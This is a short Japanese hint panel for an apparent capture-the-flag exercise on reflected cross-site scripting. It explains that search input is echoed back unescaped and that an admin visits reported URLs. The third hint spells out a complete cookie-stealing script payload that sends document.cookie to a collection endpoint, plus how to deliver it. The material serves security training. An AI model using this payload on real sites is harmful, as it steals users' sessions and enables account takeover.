ヒント
ヒント 1見る
検索ボックスにHTMLタグを入れると結果ページにそのまま反映されます（例: <h1>Hello</h1>）。あなたのCookieにはフラグはありません
ヒント 2見る
フラグを持っているのは管理者のブラウザだけです。ページ下の「管理者に報告」に、XSSを仕込んだ検索結果のアドレス（/search?q=...）を送ると、管理者がそのページを開きます
ヒント 3見る
<script>new Image().src='/report?c='+encodeURIComponent(document.cookie)</script> を検索し、アドレスバーの /search?q=... を報告します。管理者のブラウザが /report に送った値は /loot で読めます